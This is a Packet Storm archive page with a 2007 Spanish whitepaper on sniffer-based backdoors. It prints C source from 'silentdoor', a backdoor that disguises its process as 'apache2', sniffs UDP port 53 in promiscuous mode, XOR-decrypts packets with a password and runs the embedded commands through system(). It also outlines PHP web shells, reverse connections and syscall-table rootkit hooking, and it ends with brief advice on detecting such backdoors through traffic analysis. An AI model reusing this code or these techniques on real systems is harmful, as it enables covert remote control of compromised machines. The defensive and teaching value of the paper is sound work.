exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

newbackdoor-jm.txt

newbackdoor-jm.txt
Posted Aug 24, 2007
Authored by MegadetH

Whitepaper entitled "Las nuevas backdoors", discussing new techniques in backdoors and sniffing. Written in Spanish.

tags | paper
SHA-256 | ad3835828509aa5430280f10dce98cbff07e56d28bf314f1479c5d2519d64339

newbackdoor-jm.txt

Change Mirror Download
------------------------
-=Las nuevas backdoors=-
-(introduccion rapida)-
by MegadetH
------------------------

Este documento trata de introducir brevemente al lector sobre las nuevas
tecnicas usadas para las "backdoors" o puertas traseras, en concreto sobre las
llamadas de "sniffer".

Documento bajo licencia GFDL
http://www.fsf.org/licenses/licenses.es.html

El documento esta sin acentos y a 80 caracteres por linea (formato) xD

------------------------
--Contenidos--
------------------------
0x01 intro
0x02 autor
0x03 sniffer backdoors
0x03-1 silentdoor : ejemplo simple
0x04 deteccion
0x05 conclusion
0x06 referencias

nivel : newbie - middle



0x01 -Intro-
-------------

Como en todos los aspectos y terrenos de la informatica, todo tiene que ir
evolucionando y adaptandose a los cambios de los nuevos sistemas, incluidas
las herramientas y tecnicas usadas por los hackers, administradores de
sistemas y personal de seguridad. Un claro ejemplo son los rootkits para Linux,
que sufrieron algunos cambios importantes en el paso del kernel 2.4.x al 2.6.x,
inicialmente los primeros LKM rootkits lo que hacian era modificar el
contenido de la sys_call_table, de forma que las syscalls interesantes eran
redireccionadas a nuestro codigo inyectado en la memoria mediante el LKM.
En los kernels v2.6 el valor de la sys_call_table ya no se exporta como simbolo
del kernel. Antes en v2.4 para obtener la direccion de la sys_call_table
bastaba con algo como:

extern void *sys_call_table[];

En v2.6 la cosa es un poco mas complicada. Hay varios metodos para conseguir
la direccion de la tabla de syscalls.Uno de ellos consiste en sacar la
direccion del propio handler que linux usa para la funcion sysenter_entry.
(ya no se usa int 0x80 para llamar a las syscalls, sino que se usa una
instruccion especial llamada 'sysenter'), que lo que hace es llamar a la
funcion 'sysenter_entry') para ello sacamos la direccion de sysenter_entry que
a diferencia de sys_call_table, si que esta exportado como simbolo, visto esto
"solo" tenemos que modificar el handler.
/*(thks Raise www.enye-sec.com)*/

No se quedan atras las famosas puertas traseras, que todos hemos usado alguna
vez para dejar abierto el acceso a un sistema, la continua evolucion de los
sistemas y de las herramientas de seguridad hace que tenga que recurrirse a
nuevas ideas. (luego lo veremos)....
Un ejemplo son los accesos via web, en plena eclosion de los servicios via
web y de tecnicas como XML HTTP Request o AJAX, surgen herramientas de acceso
via web como PHPremoteshell, que ocultandolo y asignandole los permisos que
necesita, permite el acceso desde cualquier navegador web sin tener que
instalar ninguna herramienta (evidentemente la victima tiene que correr un
servicio web con soporte php), es ideal porque el firewall normalmente permite
el trafico al puerto 80 (si se ofrece servicio web), e incluso hay herramientas
para hacer conexiones reversas, ¿os acordais del reverse telnet o reverse
shell?, pues mucho mas comodo, el "reverseWWWtunnel" de Van Hauser es una de
ellas, tambien las hay capaces de mandar comandos a un servidor web externo,
cosa que pasaria por los firewalls y proxies de salida sin problemas,con lo
cual es mas dificil aun de ser detectado.

0x02 -El autor-
---------------

Voy a hacer un parentesis tras la intro, para comentaros quien soy y de donde
cojones he salido, bueno, segun quien lea el texto puedo ser una persona u
otra, tras varios años descolgado de la parte activa de la seguridad (los años
,la familia, el curro....) y tras mucho tiempo sin escribir nada de nada,
desde los tiempos del Netsearch ezine, ultimamente estoy sacando un poco de
tiempo y me estoy intentando poner al dia de nuevo en estos temas, porque como
todo, uno pierde nivel rapidamente y se queda obsoleto como las maquinas y
los sistemas. Para los que me conozcais de epocas anteriores que sepais que me
acuerdo de vosotros muchas veces (p0pe, sp4rk, dark_fear, Quasar, Chui,
Hardcode, Raise, caf0, ...) Para los que me conozcais como ingeniero de
sistemas (curro) pues que sepais que llevo alguno años en el mundo del
"underground" y de la seguridad y no soy consultor CISA xDDDDDDDDDDDDD (menudo
cuento sacaperras) especial saludo para Guzman y Anibal, SysOps de un grupo
inmobiliario, a Guzman en especial le dedico el formato del documento xDDD.
Este documento es muy breve y no aporta codigo escrito por mi, pero para estar
6 años oxidado ya es un comienzo....espero que lo aguanteis lo mejor posible
porque aunque no os sirva para una mierda (uys perdon) hasta que no arregle el
codigo del silentdoor, cosa que de momento no estoy haciendo porque retrasare
esto 10 meses, sirve para ver si me animo y sigo en la linea ascendente y no
como hasta ahora.....;))

desde aqui os saludo a tod@s ;)))))

MegadetH
great.mega@gmail.com


0x03 -Sniffers Backdoors-
-------------------------

Hay una nueva generacion de backdoors que funcionan rastreando todo el trafico
de red de una interfaz de manera similar a un sniffer normal, pero respondiendo
a un tipo determinado de paquetes, estos programas ademas suelen incorporar
algun tipo de cifrado para complicar aun mas la deteccion del trafico, suelen
estar programados usando las famosas y manidas libpcap, y a groso modo su
funcionamiento es el siguiente :

-Corren camuflados o simulando otro servicio
-no abren puertos permanentemente
-Rastrean todo el trafico de una interfaz
-usan cifrado
-Buscan cierto tipo de paquetes
-cuando los encuentrar los descifran
-comprueban que tiene comandos para ellos
-ejecutan los comandos
-la respuesta la devuelven con IP spoofing

Esto, como se puede ver, no es lo mismo que dejar un netcat corriendo en un
puerto alto ¿eh? xDDDDDDD

/*naturalmente la mayoria de estos programas corren como root o SUID root, pero
se supone que ya tenemos la maquina ¿no? xDDDD, no voy a entrar en ese detalle,
ya que no entro en como se ha obtenido acceso a la maquina y una rootshell, se
puede abusar de programas SUID, explotar un overflow...etc etc etc xDDDDDDD.
Esto tambien denota que la seguridad de la maquina y el perimetro ha fallado
miserablemente*/


0x03-1 -Silentdoor-
-------------------

Vamos a ver el tema con el "silentdoor", ya que es un ejemplo bastante simple
y facil de entender, y ademas el codigo no esta acabado ni perfeccionado,
aunque demuestra el POC.
Silendoor es un ejemplo simple de un proyecto sobre como se puede crear una
backdoor de tipo sniffer, usando cifrado, y que escucha en el puerto 53,
camuflandose como otro proceso

Pegas :
-no esconde el proceso si no que lo camufla como "apache2"
-el cifrado que usa es pobre (XOR)
-el codigo tb es pobre y mejorable (ya sabeis....)
p.e. el original falla y segun el comando ejecutado pierdes el control
el original hace un eco en la pantalla del sistema remoto (desastroso)
denota falta de control de errores

Ventajas :
-No abre ningun puerto, si no que captura trafico y responde cuando debe

El programa consta de 3 apartados basicamente, siendo los mas importantes los
que capturan el trafico y los que interpretan los comandos (esta basado en
las libpcap y las libnet)

Comentamos por encima :

La función main, se encarga de cambiar el nombre al programa de manera un
poco cutre (hay una macro definida al principio), y de llamar a la funcion
catchpacket(), ah y tambien usa las funciones setuid y setgid, lo cual puede
ser otro inconveniente....

int main(int argc, char *argv[])
{
int x;
strcpy(argv[0], BASENAME);
setuid(0);
setgid(0);
x=catchpacket();
return (0);
}


La funcion catchpacket() se encarga de capturar los paquetes, como veis el
trabajo pesado lo realizan las libpcap, como cosa interesante el bucle que
captura paquetes y los pasa al handler para su proceso....


int catchpacket(void )
{
char errbuf[PCAP_ERRBUF_SIZE];
char filter_string[]="udp port 53"; /*este es el filtro*/
pcap_t *sniff_session;
struct pcap_pkthdr pkt_head;
struct bpf_program filter;
const char *payload;
u_char *packet;
int pkt_adlen;
u_char *p_info;
bpf_u_int32 mask;
bpf_u_int32 net;

if (-1 == pcap_lookupnet(NULL, &net, &mask, errbuf))
/* interfaz de red */

{
printf("\n<\n");
exit(0);
}

if ((sniff_session=pcap_open_live(NULL, BUFSIZ, 1, 0, errbuf))==NULL)
/* antes del bucle de captura se obtiene un descriptor de
tipo pcap_t, se configura cualquier interfaz para la
captura, num max BUFSIZ y modo promiscuo*/

{

printf("\n<\n");
exit(0);
}
pcap_compile(sniff_session, &filter, filter_string, 0, net);
pcap_setfilter(sniff_session, &filter);
/* compilar y aplicar el filtro de paquetes, si alguien esta
interesado en los mecanismos BPF o LSF puede mandarme un mail*/

pcap_loop(sniff_session, 0, in_pkt, 0);
/*aqui se le pasan los datos del bucle de captura al handler*/

return(0);
}


La funcion in_pkt es el handler encargado de procesar los paquetes,
descifrarlos y buscar la password, se invoca para cada paquete recibido ... :

void in_pkt(u_char *other_stuff, const struct pcap_pkthdr* pkt_head, const
u_char* packet)
{
int i, x, v;
char *ptr1, *ptr2, *ptr3;
char pktstore[1024];
char tempbuf[1024];
char decrypts[1024];

memset(tempbuf, '\0', sizeof(tempbuf));
memset(pktstore, '\0', sizeof(pktstore));
memset(decrypts, '\0', sizeof(decrypts));
/* rellena de terminaciones para las strings */

v = (pkt_head->caplen - 44);

memcpy(pktstore, packet+44, (v=(v < (sizeof(pktstore)-1)?v:(sizeof(pkt
store)-1))));
/*saltamos al payload del paquete*/
/* evitar overflow */

for (i = 0; i <= (v+(v%4)); i+=4)
strncat(tempbuf, PASS, 4);
for (i = 0; i < v; ++i)
{
decrypts[i]=(pktstore[i] ^ tempbuf[i]);
}
/* descifrado */

if (NULL != (ptr1=strstr(decrypts, "-dc$")))

{
if (NULL != (ptr2=strstr(ptr1, "$dc")))
{
memset(tempbuf, '\0', sizeof(tempbuf));
strncpy(tempbuf, ptr1+4, (ptr2 - (ptr1 + 4)));
system(tempbuf);
/*localiza y pasa el comando a ejecutar*/

}
}

}


Bien, la idea es buena y el concepto es el correcto, como veis no es nada
complicado con la ayuda de las librerias comentadas.........el codigo segun
el autor no esta acabado ni depurado.-

Hay otro programa en el mismo estilo pero mucho mas completo, se trata del
safebreaker, la idea es la misma, pero mejora en lo siguiente :

-No depende de las libpcap
-Usa las GNUTLS para el cifrado (no el flojito XOR)
-Hace una comprobacion exhaustiva de los paquetes para captar los destinados a
el
-No bloquea ni abre ningun puerto hasta las conexiones
-Funciona de 2 maneras : abriendo un PTTY en el puerto especificado o haciendo
una conexion reversa al cliente (esto evita muchos firewalls).

El codigo es mas completo, esta mejor programado y es mas largo de analizar,
quizas escriba una segunda parte con ideas y codigo para mejorar el silentdoor
y un analisis del safebreaker aunque no prometo nada porque se me avecina algo
de currele...(o por lo menos eso espero xDDD)


0x04 -Deteccion-
----------------

La deteccion de este tipo de backdoors es un poco dificil, naturalmente si ya
lo tenemos en nuestra maquina es porque ha fallado la seguridad fundamental
y alguien ha conseguido entrar y probablemente escalar privilegios, no entro
ahora a describir que metodos tenemos de defensa y ataque, pero puede que sea
mas facil descubrir rastro de la penetracion y la instalacion, realmente este
tipo de sniffer backdoors solamente puede detectarse analizando el trafico de
red con un sniffer, bueno en el caso del silentdoor pues a lo mejor nos damos
cuenta de que el apache esta corriendo sin haberlo montado xDDD, pero por lo
general analizando el trafico podemos descubrir paquetes con payload cifrado,
patrones repetitivos en los paquetes, numeros de secuencia iguales, trafico
eventual en puertos que no tenemos abiertos, podemos usar los clasicos
tcpdump, iptraf, wireshark (ethereal)...por ejemplo en el caso del silentdoor
los paquetes "malos" con destino al puerto 53 se distinguen bastante bien......


0x05 -Conclusion-
-----------------

La seguridad de los sistemas es un asunto vital y muy importante, empezando por
la seguridad perimetral, cada vez se tiene mas conciencia de ello, los servers
que no tienen sistemas de defensa y que no se controlan (parches, logs,
archivos etc etc) suelen acabar siendo comprometidos y a menudo usados para
ataques de cualquier tipo a terceros. Es recomendable el uso regular de
herramientas como tripwire, lsof, nmap e incluso las que se suelen instalar
con el sistema operativo como ps, netstat, diff... etc etc.

Bueno no os doy mas la vara........salud para tod@s....

MegadetH


0x06 -Referencias-
------------------
www.packetstormsecurity.nl

www.linux.org

www.kernel.org

Oreilly's
Undestanding the linux kernel series
www.oreilly.com

Libros de Richard Stevens
www.kohala.com/start/

http://www.tcpdump.org/

drraid@gmail.com (silentdoor original author)

great.mega@gmail.com (yo mismo)

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close